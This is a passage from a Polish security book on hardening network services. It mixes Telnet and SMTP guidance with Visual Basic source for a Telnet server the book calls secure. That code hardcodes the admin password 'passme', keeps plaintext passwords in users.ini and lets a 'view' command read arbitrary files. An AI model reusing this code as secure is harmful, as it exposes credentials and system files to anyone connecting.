AddEditDir.Tag = DirPath.Text
Unload Me
End Sub
Private Sub GetSystemDrives()
Dim rtn As Long
Dim d As Integer
Dim AllDrives As String
Dim CurrDrive As String
Dim tmp As String
tmp = Space(64)
rtn = GetLogicalDriveStrings(64, tmp)
AllDrives = Trim(tmp) 'pobranie listy dost
ę
pnych dysków
d = 0
Do Until AllDrives = Chr$(0)
d = d + 1
CurrDrive = StripNulls(AllDrives) 'usuwanie pojedynczego elementu z
listy AllDrives
CurrDrive = Left(CurrDrive, 2) 'znak łamania na ko
ń
cu nie jest
nam potrzebny
DrvS(d) = CurrDrive
DrvC = d
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
21
21
Loop
End Sub
Private Function StripNulls(startstr) As String
Dim pos As Integer
pos = InStr(startstr, Chr$(0))
If pos Then
StripNulls = Mid(startstr, 1, pos - 1)
startstr = Mid(startstr, pos + 1, Len(startstr))
Exit Function
End If
End Function
UserOpts.frm
może być rozbudowywany, jako moduł administracyjny, służący do
dodawania, usuwania i ustawiania opcji użytkownika.
UserOpts.frm
Option Explicit
Dim uItem As Integer
Dim aItem As Integer
Dim tStrng As String
Dim uUser As Integer
Dim Pcnt As Integer
Private Type Priv
Path As String
Accs As String '[R]ead,[W]rite,[D]elete,e[X]ecute > Pliki
'(Odczyt, Zapis, Usuwanie, Uruchamianie)
'[L]ist,[M]ake,[K]ill,[S]ubs > Katalogi
'(Przegl
ą
danie, Tworzenie, Usuwanie, Podkatalogi)
End Type
Private Privs(20) As Priv
Private Sub FDAdd_Click()
tStrng = Get_Path("")
If tStrng <> "" Then
AccsList.AddItem (tStrng)
Pcnt = Pcnt + 1
UserIDs.No(uUser).Priv(Pcnt).Path = tStrng
FDUpdate.Enabled = True
FDRemove.Enabled = True
End If
AccsList_False
End Sub
Private Sub FDEdit_Click()
tStrng = Get_Path(AccsList.Text)
If tStrng <> "" Then
AccsList.List(aItem) = tStrng
UserIDs.No(uUser).Priv(aItem + 1).Path = tStrng
End If
AccsList_False
End Sub
Private Sub FDRemove_Click()
Dim z As Integer
For z = (aItem + 1) To UserIDs.No(uUser).Pcnt
22
Hack Wars. Tom 2. Na tropie hakerów
22
UserIDs.No(uUser).Priv(z).Path = UserIDs.No(uUser).Priv(z +
1).Path
UserIDs.No(uUser).Priv(z).Accs = UserIDs.No(uUser).Priv(z +
1).Accs
Next
UserIDs.No(uUser).Pcnt = UserIDs.No(uUser).Pcnt - 1
AccsList.RemoveItem (aItem)
AccsList_False
End Sub
Private Sub FDUpdate_Click()
Dim z As Integer, s As String
UserIDs.No(uUser).Name = UsrName
UserIDs.No(uUser).Pass = Pword
UserIDs.No(uUser).Home = HomeDir
UserIDs.No(uUser).Pcnt = Pcnt
s = ""
z = aItem + 1
If FRead.Value = 1 Then s = s & "R"
If FWrite.Value = 1 Then s = s & "W"
If FDelete.Value = 1 Then s = s & "D"
If FEx.Value = 1 Then s = s & "X"
If DList.Value = 1 Then s = s & "L"
If DMake.Value = 1 Then s = s & "M"
If DRemove.Value = 1 Then s = s & "K"
If DSub.Value = 1 Then s = s & "S"
Privs(z).Accs = s
UserIDs.No(uUser).Priv(z).Accs = s
AccsList_False
End Sub
Private Sub Form_Load()
Dim x As Integer, y As Integer
y = UserIDs.Count
If (y > 0) Then
For x = 1 To UserIDs.Count
UserList.AddItem UserIDs.No(x).Name
Next
End If
aItem = -1
uItem = -1
AccsList_False
UserList_False
FDAdd.Enabled = False
End Sub
Private Sub Form_Terminate()
Unload Me
End Sub
Private Sub UserList_LostFocus()
' If uItem >= 0 Then UserList_False
End Sub
Private Sub UsrDone_Click()
Dim z As Integer
Form_Terminate
End Sub
Private Sub UsrRemove_Click()
Dim z As Integer, i As Integer
z = UserIDs.Count
For i = uUser To z
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
23
23
UserIDs.No(i) = UserIDs.No(i + 1)
Next
UserList.RemoveItem (uItem)
UserIDs.Count = z - 1
AccsList.Clear
ClearAccs
UsrName = ""
Pword = ""
HomeDir = ""
aItem = -1
UserList_False
End Sub
Private Sub UsrAdd_Click()
Dim i As Integer, S1 As String
S1 = "New User"
UsrName = S1
UserList.AddItem S1
i = UserIDs.Count + 1
UserIDs.No(i).Name = S1
UserIDs.Count = i
UserList_False
End Sub
Private Sub UserList_Click()
Dim x As Integer, z As Integer
uItem = UserList.ListIndex
Debug.Print "User List Item = " & uItem
'[R]ead,[W]rite,[D]elete,e[X]ecute > Pliki
'[L]ist,[M]ake,[K]ill,[S]ubs > Katalogi
uUser = uItem + 1
AccsList.Clear
ClearAccs
Pword = ""
HomeDir = ""
aItem = -1
UserList_True
AccsList_False
FDAdd.Enabled = True
UsrName = UserIDs.No(uUser).Name
Pword = UserIDs.No(uUser).Pass
HomeDir = UserIDs.No(uUser).Home
Pcnt = UserIDs.No(uUser).Pcnt
For z = 1 To Pcnt
Privs(z).Path = UserIDs.No(uUser).Priv(z).Path
Privs(z).Accs = UserIDs.No(uUser).Priv(z).Accs
AccsList.AddItem Privs(z).Path
Next
End Sub
Private Sub AccsList_Click()
Dim x As Integer, z As Integer
aItem = AccsList.ListIndex
Debug.Print "Access List Item = " & aItem
ClearAccs
AccsList_True
z = aItem + 1
Debug.Print UserIDs.No(uUser).Priv(z).Accs
If InStr(Privs(z).Accs, "R") Then
FRead.Value = 1
End If
If InStr(Privs(z).Accs, "W") Then
24
Hack Wars. Tom 2. Na tropie hakerów
24
FWrite.Value = 1
End If
If InStr(Privs(z).Accs, "D") Then
FDelete.Value = 1
End If
If InStr(Privs(z).Accs, "X") Then
FEx.Value = 1
End If
If InStr(Privs(z).Accs, "L") Then
DList.Value = 1
End If
If InStr(Privs(z).Accs, "M") Then
DMake.Value = 1
End If
If InStr(Privs(z).Accs, "K") Then
DRemove.Value = 1
End If
If InStr(Privs(z).Accs, "S") Then
DSub.Value = 1
End If
End Sub
Private Sub AccsList_DblClick()
aItem = AccsList.ListIndex
tStrng = Get_Path(AccsList.Text)
If tStrng <> "" Then
AccsList.List(aItem) = tStrng
UserIDs.No(uUser).Priv(aItem + 1).Path = tStrng
End If
AccsList.Selected(aItem) = False
End Sub
Private Sub UserList_True()
UsrRemove.Enabled = True
End Sub
Private Sub UserList_False()
Debug.Print "uItem=" & uItem
UsrRemove.Enabled = False
If uItem >= 0 Then
UserList.Selected(uItem) = False
uItem = -1
End If
End Sub
Private Sub AccsList_True()
FDEdit.Enabled = True
FDRemove.Enabled = True
FDUpdate.Enabled = True
End Sub
Private Sub AccsList_False()
Debug.Print "aItem=" & aItem
FDEdit.Enabled = False
FDRemove.Enabled = False
FDUpdate.Enabled = False
If aItem >= 0 Then
AccsList.Selected(aItem) = False
aItem = -1
End If
End Sub
Private Sub ClearAccs()
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
25
25
FRead.Value = 0
FWrite.Value = 0
FDelete.Value = 0
FEx.Value = 0
DList.Value = 0
DMake.Value = 0
DRemove.Value = 0
DSub.Value = 0
End Sub
Function Get_Path(olds As String) As String
AddEditDir.DirPath = olds
AddEditDir.Show 1
If Tag <> "" Then
Get_Path = Tag
Tag = ""
End If
End Function
Przedstawione w tym rozdziale programy i towarzyszące im pliki znaleźć można na do-
łączonym do książki dysku CD.
Port 23: Telnet
Jak opisano to w pierwszym tomie niniejszej książki, demon usługi Telnet otwiera drogę
do poważnego naruszenia zabezpieczeń systemu: hasła przesyłane są tekstem jawnym,
a udana próba nawiązania połączenia umożliwia zdalne uruchamianie poleceń. Dość
oczywistą rzeczą staje się więc zalecenie wyłączenia tej usługi, o ile tylko pozwala-
ją na to nasze założenia komunikacji sieciowej. Gdy tak nie jest, pozostaje skorzystanie
z innych metod, podobnie jak w przypadku pracującego na porcie 21 protokołu
przesyłania plików.
Podobnie jak w przypadku FTP i większości usług sieciowych systemu UNIX, ozna-
czenie odpowiedniego wiersza w pliku
/etc/inetd.conf
jako komentarza będzie wystarcza-
jące do całkowitego wyłączenia demona (patrz rysunek 1.4, przedstawiający wyłączanie
demona FTP). Nie wolno oczywiście zapomnieć o zatrzymaniu i ponownym uru-
chomieniu inetd lub całego systemu operacyjnego.
W systemach Windows modyfikujemy konfigurację uruchomieniową lub kończymy
pracę procesu aktywnego. Przebiega to podobnie jak przedstawiono odnośnie usługi
FTP Publishing Service i na rysunkach od 1.5 do 1.8.
Korzystanie z osłon TCP (TCP wrappers)
Alternatywy dla Telnetu znaleźć można pośród najlepszych serwerów emulacji terminali
i pracujących w trybie GUI klientów. Gdy jednak demon tej usługi jest koniecznością,
pozostaje jedynie zabezpieczanie komunikacji, w której pośredniczy port 23. Rozpocząć
można od zmiany komunikatu powitalnego demona, ujawniającego, często przydatne
przy włamaniach do systemu, dane: typ demona, wersję i platformę. Co ważniejsze, jeżeli
zmuszeni jesteśmy do korzystania z rodzimego demona systemu UNIX, zapewnić
należy jego osłonięcie (ang. wrapping). Ogólnie rzecz ujmując, oprogramowanie osła-
niające TCP zapewnia lepsze rejestrowanie i kontrolę dostępu do demonów usług skonfi-
26
Hack Wars. Tom 2. Na tropie hakerów
26
gurowanych w pliku
/etc/inetd.conf
. Warto zwrócić uwagę, że osłony TCP to programy
dedykowane lub zależne, od typu systemu UNIX. W tym punkcie najistotniejsze jest
jednak podkreślenie znaczenia osłonięcia wszystkich aktywnych demonów usług.
Na dołączonym do niniejszej książki dysku CD znajdziemy repozytorium tcp_wrapper, a w
nim — przykładowe kompilacje
tcpd
. Zapewniono wersje dla systemów AIX, Digi-
tal, HP-UX, IRIX, Solaris, SunOS i Linux.
Instalowanie osłon TCP
Instalowanie osłony TCP nie jest procedurą skomplikowaną. Sprowadza się do czterech
opisanych poniżej kroków:
1.
Kopiujemy osłonę TCP do odpowiedniego katalogu
inetd.conf
. W systemie
Linux jest to
/etc/
, w systemach AIX i Digital —
/usr/sbin
, w systemach HP-UX 9
i 10 — odpowiednio,
/etc
i
/usr/lbin
, w systemie IRIX —
/usr/etc
, w systemie
Solaris —
/usr/sbin
, a w systemie SunOS —
/usr/etc
.
Po zainstalowaniu, osłona TCP zapisywać będzie rejestrowane dane odpowiednio
do ustawienia dla dzienników poczty w pliku
/syslog.conf
. W systemie AIX jest to
/var/adm/messages
, w systemie Digital —
/var/adm/syslog.dated/[DATE]/mail.log
,
w systemie HP-UX 9 i 10 —
/usr/spool/mqueue/syslog
, w systemie IRIX —
/var/
adm/SYSLOG
, a w systemach Solaris i SunOS —
/var/log/syslog
.
2.
Modyfikujemy plik
inetd.conf
tak, aby korzystał z osłony. Aby osłonić usługę
Telnet (lub inną), zmieniamy jej wpis w pliku
inetd.conf
z
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
na
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
Patrz rysunek 1.13.
Rysunek 1.13.
W pliku inetd.conf
wprowadzamy pełną
ś
cieżkę do tcpd
(osłony),
pozostawiając
pozostałe elementy
wiersza bez zmian
3.
Konfigurujemy pliki kontroli dostępu. Osłanianie TCP zapewnia kontrolę
dostępu, którym zarządzają dwa pliki. Proces sprawdzania uprawnień kończy się
przy pierwszym dopasowaniu. Dostęp zostaje przyznany, jeżeli odpowiedni wpis
znajduje się w pliku
/etc/hosts.allow
. Jeżeli nie, wpis w pliku
/etc/hosts.deny
może
doprowadzić do odmowy dostępu. W przypadku braku dopasowania w obu
plikach, dostęp zostaje przyznany. Oznacza to, że brak obu plików odpowiada
wyłączeniu kontroli dostępu. Informacje o korzystaniu z tych list kontroli dostępu
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
27
27
(ang. ACL, access control lists) znajdziemy na stronie
hosts_access
dołączonego
do pakietu źródłowego Tcp_wrapper podręcznika (patrz rysunek 1.14).
Rysunek 1.14.
Uzyskiwanie
informacji
o dostosowywaniu
list kontroli dostępu
przez wyświetlenie
strony hosts_access
podręcznika
Tcp_wrapper
4.
Wprowadzamy w systemie i testujemy zmiany. Aby system uwzględnił
wprowadzone zmiany i uruchomił osłonę, restartujemy komputer lub sam
demon inetd — odczyta on wówczas nowy plik
inetd.conf
. Pozostaje
wówczas ostatni krok, niezbędny po każdej zmianie w systemie operacyjnym.
Jest nim sprawdzenie funkcjonowania osłony. W tym celu podejmujemy próbę
dostępu do komputera, w którym wprowadziliśmy osłonę usługi. Sprawdzamy
czy tcpd rejestruje nasze działania i, co ważniejsze, przeprowadza kontrolę
dostępu, zgodnie z wpisami w plikach
/etc/hosts.allow
i
/etc/hosts.deny
.
Tiger Telnet
Przedstawimy teraz oprogramowanie TigerTelnetServ — rozwiązanie dla domowych
i prywatnych użytkowników Windows, którzy pragną pełnej kontroli i bezpieczeństwa
pracy protokołu.
TigerTelnetServ (patrz rysunek 1.15) pozwoli w pełni kontrolować działanie mechani-
zmów dostępowych, zapewniając bezpieczny zdalny dostęp zarówno Czytelnikowi
niniejszej książki, jak i jego rodzinie i przyjaciołom. Program może być bez ograniczeń
modyfikowany, rozpowszechniany i stosowany. Przedstawiona wersja wyposażona
została w polecenia pozwalające przeglądać katalogi, podglądać zawartość plików,
wyszukiwać użytkowników, przerywać sesje oraz pracę demona usługi. W wolnym czasie
Czytelnik może pokusić się o dalszą rozbudowę. Dla uniknięcia komplikacji i zapew-
nienia bezpieczeństwa, wszystkie uprawnienia użytkowników opisuje plik
Users.ini
.
28
Hack Wars. Tom 2. Na tropie hakerów
28
Rysunek 1.15.
TigerTelnetServ
— bezpieczny demon
usługi Telnet dla
systemu Windows
Form1.frm
zawiera kod podstawowego interfejsu demona. Obejmuje on analizator sesji,
opcję tymczasowego wyłączenia możliwości logowania oraz funkcję administracyjną
Lockdown. Wywołuje ona
Form2.frm
, który inicjalizuje specjalny demon, dopuszczający
jedną tylko sesję, przy której stosuje się hasło administratora — zapisane i skompilowane
wraz z kodem źródłowym. W tym trybie zalogować się można wyłącznie na konto
ad-
min
.
Form1.frm
Private Sub acc_ConnectionRequest(ByVal requestID As Long)
i = i + 1
Load pol(i)
pol(i).Close
pol(i).Accept requestID
acc.Close
acc.Listen
For scan = 1 To 35
If Ac_Name(scan) = Empty Then
refid = scan
Exit For
End If
Next scan
Ac_Name(refid) = "no user"
Ac_Host(refid) = pol(i).RemoteHostIP
Ac_What(refid) = "login"
Ac_Sock(refid) = i
SendFile "files\connect.txt", refid
Send Crt, refid
Send "Login: ", refid
Update
End Sub
Private Sub Command3_Click()
End Sub
Private Sub Command1_Click()
Unload Me
Form2.Show
End Sub
Private Sub Command4_Click()
End
End Sub
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
29
29
Private Sub Update()
List1.Clear
For scan = 1 To 35
If Ac_Name(scan) <> Empty Then
If Ac_SuperUser(scan) = False Then
List1.AddItem Ac_Name(scan) & " - " & Ac_Host(scan)
Else
List1.AddItem "@" & Ac_Name(scan) & " - " & Ac_Host(scan)
End If
p = p + 1
End If
Next scan
Me.Caption = "Telnet - " & Trim(p) & " connection(s)"
End Sub
Private Sub Form_Load()
acc.LocalPort = 23
acc.Bind
acc.Listen
Crt = Chr(10) & Chr(13)
End Sub
Private Sub pol_Close(Index As Integer)
For scan = 1 To 35
If Ac_Sock(scan) = Index Then
refid = scan
Exit For
End If
Next scan
Ac_Name(refid) = Empty
Ac_Input(refid) = Empty
Ac_Host(refid) = Empty
Ac_What(refid) = Empty
Ac_Sock(refid) = Empty
pol(Index).Close
Update
End Sub
Private Sub SendFile(ByVal filename As String, ByVal person As
Integer)
Open filename For Input As #1
Do
If EOF(1) Then Exit Do
Line Input #1, temp
Send temp & Chr(10) & Chr(13), person
Loop
Close #1
End Sub
Private Sub Send(ByVal text As String, ByVal person As Integer)
If Ac_Name(person) = "" Then Exit Sub
pol(Ac_Sock(person)).SendData text
End Sub
Private Sub pol_DataArrival(Index As Integer, ByVal bytesTotal As
Long)
pol(Index).GetData text, vbString
For scan = 1 To 35
If Ac_Sock(scan) = Index Then
refid = scan
Exit For
30
Hack Wars. Tom 2. Na tropie hakerów
30
End If
Next scan
stack = ""
If refid = 0 Then
pol(Index).Close
Exit Sub
End If
For H = 1 To Len(text)
pg = Mid(text, H, 1)
If pg = Chr(13) Then
If Ac_What(refid) = "prompt" Then
reason = "command not found"
Ac_Input(refid) = Trim(Ac_Input(refid))
Send Crt, 1
If Ac_Input(refid) = Empty Then goodcom = True
For scan = 1 To Len(Ac_Input(refid))
If Mid(Ac_Input(refid), scan, 1) = " " Then
i_command = Mid(Ac_Input(refid), 1, scan - 1)
i_arg = Mid(Ac_Input(refid), scan + 1, 100)
Exit For
End If
Next scan
If i_command = "" Then i_command = Ac_Input(refid)
If i_command = "logout" Then
pol(Index).Close
Ac_Name(refid) = Empty
Ac_Input(refid) = Empty
Ac_Host(refid) = Empty
Ac_What(refid) = Empty
Ac_Sock(refid) = Empty
Ac_SuperUser(refid) = Empty
Update
Exit Sub
End If
If i_command = "shutdown" Then
If Ac_SuperUser(refid) = True Then
End
Else
goodcom = False
reason = "permission denied"
End If
End If
If i_command = "who" Then
goodcom = True
For scan = 1 To 35
If Ac_Name(scan) <> "" And Ac_Name(scan) <> "no
user" Then
result = ""
If Ac_SuperUser(scan) = True Then
result = "@"
End If
result = result & Ac_Name(scan)
For dscan = 1 To 10 - Len(result)
result = result & " "
Next dscan
result = result & Ac_Host(scan)
Send result & Crt, refid
End If
Next scan
End If
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
31
31
If i_command = "killuser" Then
If Ac_SuperUser(refid) = True Then
goodcom = False
reason = "no such user"
For scan = 1 To 35
If Ac_Name(scan) <> Empty Then
If Ac_Name(scan) = i_arg Then
pol(Ac_Sock(scan)).Close
Ac_Name(scan) = Empty
Ac_Input(scan) = Empty
Ac_Host(scan) = Empty
Ac_What(scan) = Empty
Ac_Sock(scan) = Empty
Ac_SuperUser(scan) = Empty
goodcom = True
Update
End If
End If
Next scan
Else
goodcom = False
reason = "permission denied"
End If
End If
If goodcom = False Then
stack = stack & "bash: " & i_command & ": " & reason
& Crt
End If
Ac_Input(refid) = Empty
stack = stack & Ac_Name(refid) & "@Telnet> "
Send stack, refid
Exit Sub
End If
If Ac_What(refid) = "login" Then
If Ac_Input(refid) = Empty Then
stack = stack & Crt
stack = stack & Crt
stack = stack & "Login: "
Send stack, refid
Exit Sub
End If
Ac_Name(refid) = Ac_Input(refid)
Ac_Input(refid) = Empty
stack = stack & Crt
stack = stack & "Password: "
Ac_What(refid) = "password"
Send stack, refid
Exit Sub
End If
If Ac_What(refid) = "password" Then
Open "files\users.ini" For Input As #1
Do
If EOF(1) Then Exit Do
Line Input #1, temp
If Mid(temp, 1, 1) <> "#" Then
G = 0
rscan:
For scan = 1 To Len(temp)
If Mid(temp, scan, 1) = "," Then
G = G + 1
If G = 1 Then
load_name = Mid(temp, 1, scan - 1)
32
Hack Wars. Tom 2. Na tropie hakerów
32
temp = Mid(temp, scan + 1, 100)
GoTo rscan
End If
If G = 2 Then
load_password = Mid(temp, 1, scan -
1)
temp = Mid(temp, scan + 1, 100)
GoTo rscan
End If
If G = 3 Then
load_su = Mid(temp, 1, scan - 1)
temp = Mid(temp, scan + 1, 100)
End If
If Check1.Value = False Then
If load_name = Ac_Name(refid) Then
If load_password =
Ac_Input(refid) Then
stack = stack & Crt
stack = stack & "Login
approved." & Crt & Crt
stack = stack & Ac_Name(1) &
"@Telnet> "
Ac_What(refid) = "prompt"
Ac_Input(refid) = Empty
Ac_SuperUser(refid) = False
If load_su = "1" Then
Ac_SuperUser(refid) =
True
End If
Close #1
Send stack, refid
Update
Exit Sub
End If
Ac_Input(refid) = Empty
End If
End If
End If
Next scan
End If
Loop
Close #1
Ac_Input(refid) = Empty
stack = stack & Crt
stack = stack & "Login incorrect" & Crt & Crt
stack = stack & "Login: "
Send stack, refid
Ac_What(refid) = "Login"
Exit Sub
End If
End If
If pg = Chr(8) Then
If Ac_Input(refid) <> "" Then
Ac_Input(refid) = Mid(Ac_Input(refid), 1,
Len(Ac_Input(refid)) - 1)
If Ac_What(refid) <> "password" Then
Send Chr(8) & " " & Chr(8), refid
End If
End If
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
33
33
Exit Sub
End If
If pg = Chr(21) Then
If Ac_Input(refid) <> "" Then
For G = 1 To Len(Ac_Input(refid))
Send Chr(8) & " " & Chr(8), refid
Next G
End If
Ac_Input(refid) = ""
Exit Sub
End If
If Ac_What(refid) <> "password" Then
Send pg, refid
End If
Ac_Input(refid) = Ac_Input(refid) & pg
Next H
End Sub
Private Sub pol_Error(Index As Integer, ByVal Number As Integer,
Description As String, ByVal Scode As Long, ByVal Source As String,
ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As
Boolean)
For scan = 1 To 35
If Ac_Sock(scan) = Index Then
refid = scan
Exit For
End If
Next scan
Ac_Name(refid) = Empty
Ac_Input(refid) = Empty
Ac_Host(refid) = Empty
Ac_What(refid) = Empty
Ac_Sock(refid) = Empty
pol(Index).Close
Update
End Sub
Kolejny formularz to wersja demona określona nazwą Lockdown, przeznaczona do wyko-
rzystania przez administratora. Dopuszcza tylko jedną sesję, której zainicjowanie wy-
maga podania hasła zapisanego w kodzie źródłowym. Hasło to zapisane jest w wierszu:
If Command =... Then... Else
W załączonym przykładzie jest to
passme
.
Form2.frm
Dim Pass As Boolean
Dim Command As String
Private Sub Command2_Click()
Unload Me
End Sub
Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub
Private Sub Form_Load()
Winsock1.LocalPort = 23
34
Hack Wars. Tom 2. Na tropie hakerów
34
Winsock1.Listen
Label1.Caption = ""
Dir1.Path = "C:\"
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
Do Until Winsock1.State = sckClosed
DoEvents
Loop
Winsock1.LocalPort = 23
Winsock1.Listen
Dir1.Path = "C:\"
Pass = False
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Do Until Winsock1.State = 7
DoEvents
Loop
Me.Caption = Winsock1.RemoteHostIP
Winsock1.SendData "Password: "
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
Winsock1.GetData Data
If Asc(Data) = 13 Then
Label1.Caption = Command
If Pass = False Then
If Command = "passme" Then Pass = True: Winsock1.SendData
vbCrLf &
"welcome" & vbCrLf: Winsock1.SendData "C:\>" Else
Winsock1.SendData
"Password incorect!" & vbCrLf: Winsock1.SendData "Password: "
Else
If LCase(Command) = "cd.." Then
If Dir1.Path <> "C:\" Then Dir1.Path = ".."
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Command) = "cd." Then
Dir1.Path = "."
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Command) = "dir" Then
Dim Lenght As Integer
For i = 0 To Dir1.ListCount - 1
Winsock1.SendData Dir1.List(i) & " <DIR>" & vbCrLf
Next
For i = O To File1.ListCount
Winsock1.SendData File1.List(i) & vbCrLf
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
35
35
Next
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Left(Command, 4)) = "view" Then
U = Right(Command, Len(Command) - 5)
On Error GoTo err1
If Dir1.Path = "C:\" Then
Open "C:\" & U For Input As #1
Do Until EOF(1)
Line Input #1, O
Winsock1.SendData O & vbCrLf
Loop
Close #1
Else
Open Dir1.Path & "\" & U For Input As #1
Do Until EOF(1)
Line Input #1, O
Winsock1.SendData O & vbCrLf
Loop
Close #1
End If
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
err1:
Winsock1.SendData Err.Description & vbCrLf
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Left(Command, 2)) = "cd" And LCase(Left(Command, 3))
<> "cd." And
LCase(Left(Command, 3)) <> "cd\" And Len(Command) > 3 Then
U = Right(Command, Len(Command) - 3)
On Error GoTo err1
If Dir1.Path <> "C:\" Then Dir1.Path = Dir1.Path & "\" &
U Else
Dir1.Path = Dir1.Path & U
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Command) = "cd\" Then
Dir1.Path = "C:\"
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Command) = "quit" Then
36
Hack Wars. Tom 2. Na tropie hakerów
36
Winsock1.SendData "Goodbye!" & vbCrLf
Winsock1_Close
Command = ""
Exit Sub
End If
If LCase(Command) = "help" Then
Open App.Path & "\help.txt" For Input As #1
Do Until EOF(1)
Line Input #1, E
Winsock1.SendData E & vbCrLf
Loop
Close #1
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
Winsock1.SendData "Wrong Command!" & vbCrLf & "Type help for
help" & vbCrLf
If Dir1.Path <> "C:\" Then Winsock1.SendData UCase(Dir1.Path)
& "\>" Else
Winsock1.SendData "C:\>"
End If
Command = ""
Else
Command = Command & Data
End If
End Sub
Port 25: SMTP
Jeżeli czytaliśmy pierwszy tom, łatwo przypomnimy sobie, że protokół SMTP (Simple
Mail Transfer Protocol), prosty protokół przesyłania poczty) to najczęściej stosowany
w Internecie protokół przekazywania poczty elektronicznej. Demony SMTP prowadzą
nasłuch (oczekują na pocztę) na porcie 25, po czym kopiują odebrane wiadomości do
odpowiednich skrzynek i katalogów użytkowników. Usługa ta najbardziej podatna
jest na ataki określane terminami: bombardowanie (ang. mail bombing) i spamming,
jak również różnego rodzaju ataki typu Denial of Service (uniemożliwienie działania).
W dalszych rozdziałach zajmiemy się tymi technikami i przeciwdziałaniem im nieco
szerzej. Tymczasem skoncentrujmy się na ogólnych środkach ochrony usługi.
Gdy użytkownik wysyła pocztę ze swojego komputera, serwery nazw domen (DNS)
usługodawcy internetowego (ISP) przekazują zapytanie dotyczące wiadomości do
głównych klastrów DNS Internetu. Serwery te tłumaczą nazwę domeny (drugą część
adresu elektronicznego, po znaku „@”) na adres IP. Przykładowo, w adresie e-mail
john@xyz-inc.com
, część
xyz-inc.com
zostaje odwzorowana do pewnego publicznego
adresu IP. Adres ten reprezentuje lokalizację serwera DNS, który posiada informację,
gdzie należy przekazać pocztę kierowaną do
@xyz-inc.com
. Informacja ta zawarta jest
w rekordzie wymiany poczty (MX, Mail Exchange). Ten wskazuje kolejny adres IP. Jest
to najczęściej adres serwera poczty, który prowadzi nasłuch na porcie 25, w oczekiwaniu
wiadomości przesyłanych do
@xyx-inc.com
(patrz rysunek 1.16).
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
37
37
Rysunek 1.16.
Cykl życia
wiadomości
pocztowej
Standardowo, w systemach UNIX usługa SMTP pozostaje wyłączona. Nie jest również
standardem w systemach Windows. Gdy jej obecność jest wymagana, zaleca się modyfi-
kację komunikatu powitalnego tak, aby nie ujawniał niepotrzebnych informacji.
Podobnie jak w przypadku innych demonów usług, warto zadbać o osłonę, wykorzystu-
jąc Tcp_wrapper (opisany na wcześniejszych stronach, wraz z zabezpieczeniami
usługi Telnet).
Dla ochrony przed nieautoryzowanym i szkodliwym wykorzystaniem usługi SMTP,
ważnym czynnikiem jest jej skonfigurowanie jako bramy przekazującej wiadomości
e-mail wyłącznie z lokalnej domeny pocztowej. Demon nie powinien odbierać żadnych
żą
dań przekazania poczty pochodzących z zewnątrz. Warto polecić również szczegóło-
we rejestrowanie, połączone z odpowiednim zabezpieczaniem danych archiwalnych
— ułatwi to usuwanie przyszłych awarii i może zostać wykorzystane jako dowód w po-
stępowaniu przeciwko włamywaczowi.
Najważniejszą jednak techniką stosowaną przez Tiger Team w odniesieniu do serwerów
SMTP i usług rezydentnych jest procedura SMTP-NAT-DMZ. NAT to skrót oznaczający
translację adresów sieciowych (ang. network address translation). Jest ona realizowana
najczęściej przez zaporę firewall lub router dostępowy. Polega na zamianie wewnętrznego
adresu IP w adres internetowy (publiczny) i odwrotnie. Rozwiązaniem zapewniającym
ochronę sieci będzie statyczna translacja pomiędzy adresami wewnętrznymi (lokalnymi)
38
Hack Wars. Tom 2. Na tropie hakerów
38
i zewnętrznymi (internetowymi), połączona z ograniczeniem dostępu do określonych
portów i związanych z nimi usług. Ilustruje to rysunek 1.17.
Rysunek 1.17.
Mechanizm
SMTP-NAT
Rysunek przedstawia serwer SMTP pracujący w sieci lokalnej, którą chroni zapora fire-
wall. W takim układzie, zapora przeprowadza translację internetowego adresu serwera
SMTP do jego adresu wewnętrznego, dzięki czemu serwer pozostaje osiągalny dla poczty
nadchodzącej spoza sieci lokalnej. W zależności od przyjętych przy konfigurowaniu za-
pory zasad ochrony sieci, rozwiązanie tego rodzaju może być stosunkowo bezpieczne.
Jeszcze lepszy mechanizm uzyskamy jednak wówczas, gdy wprowadzimy tzw. strefę
zdemilitaryzowaną, czyli DMZ (demilitarized zone).
Koncepcja DMZ wprowadza jeszcze jedną sieć, poza zaporą, jednak oddzieloną od
wewnętrznej sieci lokalnej. Dzięki temu, w przypadku, gdy próba przełamania barier
ochronnych serwera SMTP zakończy się sukcesem, osoba nieupoważniona w dalszym
